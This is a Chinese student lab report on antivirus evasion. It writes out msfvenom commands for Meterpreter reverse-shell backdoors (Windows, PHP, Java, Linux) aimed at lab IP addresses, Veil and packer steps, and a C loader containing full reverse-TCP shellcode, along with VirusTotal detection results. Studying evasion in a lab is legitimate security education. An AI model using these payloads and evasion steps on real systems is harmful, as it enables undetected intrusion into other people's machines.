2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践

目录

  • 1.基础问题回答

  • (1)杀软是如何检测出恶意代码的?

  • (2)免杀是做什么?

  • (3)免杀的基本方法有哪些?

  • 2.开启杀软能绝对防止电脑中恶意代码吗?

  • 3.实践过程记录

  • 4.实践总结与体会


1.基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 基于特征码

  • 启发式

  • 基于行为

(2)免杀是做什么?

  • 软件或代码免于杀毒软件的检测

(3)免杀的基本方法有哪些?

  • 改变特征码
    • 只有.exe ——加壳(压缩壳 加密壳)运行时慢慢释放
    • 机器指令已提取(有shellcode/meterpreter)用encode进行编码/基于payload重新编译生成可执行文件
    • 有源代码:用其他语言重新编写
  • 改变行为
    • 通讯方式:反弹连接/隧道技术/加密通讯数据
    • 操作模式:基于内存操作/减少对系统修改/加入混肴作用的正常功能代码
  • 非常规
    • 使用有漏洞应用作为后门
    • 编写攻击代码集成
    • 诱导关闭杀软

2.开启杀软能绝对防止电脑中恶意代码吗?

不能,使用上述方法可以实现免杀

3.实践过程记录

3.1正确使用msf编码器/msfvenom生成如jar之类的其他文件/veil/加壳工具/使用C + shellcode编程/使用其他课堂未介绍方法

(1)将实验二中生成的后门程序导入Virustotal进行查杀,并将查杀结果作为后续实验参照

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第1张图片

(2)正确使用msf编码器

######一次编码命令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.187.132 LPORT=5332 -f exe > met-encoded.exe

  • 参数解释: -e选择编码器 -b是payload中需要去除的字符,由于shellcode以'\x00'为结束符,所以'\x00'不出现在shellcode中。

  • 查杀结果:

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第2张图片

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第3张图片

######十次编码命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.147.130 LPORT=5332 -f exe > met-encoded10.exe

  • 参数解释: -i后加迭代次数

  • 查杀结果:很惊讶,360报病毒软件,但扫描竟然安全!

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第4张图片

(3)msfvenom生成如jar之类的其他文件

######生成PHP后门文件 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.147.130 LPORT=5332 x> 20175332_backdoor.php

查杀结果:

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第5张图片

######生成java后门文件 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.147.130 LPORT=5332 x> 20175332_java_backdoor.jar

查杀结果:

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第6张图片

######生成linux后门文件 msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.147.130 LPORT=5332 x> 20175332_linux_backdoor

chmod +x 20175332_linux_backdoor赋予权限

查杀结果:

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第7张图片

(4)veil

######安装部分

问题:始终无法展开至100%,报错安装wine

解决方法:

在同学帮助下参考博客:

https://blog.csdn.net/xiang_shao344/article/details/85276612?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task%E8%AF%95%E8%AF%95%E8%BF%99%E4%B8%AA

问题:Can't find the WINE profile for AuotIT v3 (/var/lib/veil/wine//drive_c/Program Files/AutoIt3/Aut2Exe/Aut2exe.exe).

解决方法:百度,参考博客:

https://blog.csdn.net/daxueba/article/details/104638075

######历时两天,我终于安装成功了

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第8张图片

######正式实验

  • 使用use evasion进入免杀平台

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第9张图片

  • 进入配置界面命令:use c/meterpreter/rev_tcp.py

  • set LHOST 192.168.147.130设置反弹连接的IP地址

  • set LPORT 5332设置端口号

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第10张图片

  • options查看设置结果

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第11张图片

  • 输入命令generate生成文件,输入文件名20175332_veil_backdoor

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第12张图片

######查杀结果:

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第13张图片

(5)加壳

######压缩壳

  • 指令:upx 20175332_backdoor.exe -o 20175332_backdoor_upxed.exe

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第14张图片

  • 查杀结果:

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第15张图片

######加密壳

  • 指令:wine hyperion.exe -v 20175332_backdoor_upxed.exe 20175332_backdoor_upxed_Hyperion.exe

问题:

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第16张图片

解决方法:

参考博客: https://blog.csdn.net/weixin_42453837/article/details/104518328

问题:

解决方法:

将压缩壳文件复制到Hyperion-2.2文件夹下运行命令

  • 加密成功

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第17张图片

  • 查杀结果

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第18张图片

(6)使用C + shellcode编程
  • 输入指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.147.130 LPORT=5332 -f c生成一段shellcode

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第19张图片

  • 输入指令:vim 20175332.c

  • 代码内容如下:

 unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x93\x82"
"\x68\x02\x00\x14\xd4\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
    int (*func)() = (int(*)())buf;
    func();
} 
  • 输入指令:i686-w64-mingw32-g++ 20175332.c -o 20175332.exe编译为可执行文件。

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第20张图片

  • 查杀结果:

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第21张图片

(7)使用其他课堂未介绍方法

######使用veil中的其他编码方式实现免杀

  • 通过ruby实现

  • 参考老师介绍的C语言方式对ruby进行设置

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第22张图片

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第23张图片

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第24张图片

######查杀结果:

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第25张图片

3.2通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

######ruby+压缩壳+加密壳:查杀结果超过单独的ruby程序

2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践_第26张图片

3.4用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

#####没有成功

4.实践总结与体会

虽然在本次实验中我并没有实现百分百的免杀,但是在日常使用用还是不可以掉以轻心,不能轻易下载来源不明的软件

你可能感兴趣的:(2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践)